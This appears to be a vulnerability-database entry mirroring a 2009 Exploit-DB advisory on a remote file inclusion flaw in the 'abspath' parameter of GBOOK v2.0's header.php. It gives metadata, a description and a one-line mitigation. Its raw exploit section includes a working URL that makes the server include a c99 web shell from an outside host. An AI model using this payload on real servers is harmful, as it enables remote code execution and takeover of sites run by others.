GBOOK v2.0 Remote File Include Vulnerability

vendor:

GBOOK

by:

k3vin mitnick

8.3

CVSS

HIGH

Remote File Include

CWE

Product Name: GBOOK

Affected Version From: 2

Affected Version To: 2

Patch Exists: NO

Related CWE: N/A

CPE: a:gbook:gbook:2.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

GBOOK v2.0 Remote File Include Vulnerability

A vulnerability exists in GBOOK v2.0 which allows a remote attacker to include a file from a remote location. The vulnerability is due to the 'abspath' parameter in the 'header.php' script not properly sanitized before being used to include files. This can be exploited to include arbitrary files from remote locations by passing a URL in the 'abspath' parameter.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to include files from remote locations.

Source

Exploit-DB raw data:

#########################################################
# GBOOK v2.0 Remote File Include Vulnerability
# http://www.groonesworld.com/programs/gbook/gbook.zip
#
#========================================================
# Author: k3vin mitnick( tunisianblackhat team ) =
# =
# Home : http://tunisianblackhat.com & scarface-team.org =
# =
# email: kevinmitnick[A]live.fr = web-terrorist@mail.ru
# =
#=========================================================
#
#        bug : <style type="text/css">
#                       <?php include($abspath."css/gstyle.inc");?>
#                </style>
#
#
# exploit   :
#  http://localhost/gbook/includes/header.php?abspath=http://www.evilc0der.com/c99.txt?
#
#
#
##########################################################
>
>  .:: Tunisian Blackhat team work with scarface-team many suprise as soon ::.
>
> ########################( Greetz )###########################
# scarface-team mrabah12R feyiz marw?-neo  samy chelly
# hug, pelo, iskorpitx , ByalBayx crackerz-Team,milw0rm.com
# C4TEAM & c4team.org & snap and all
# tunisian hackers #
#
#
#
> ###########################################################

# milw0rm.com [2009-02-03]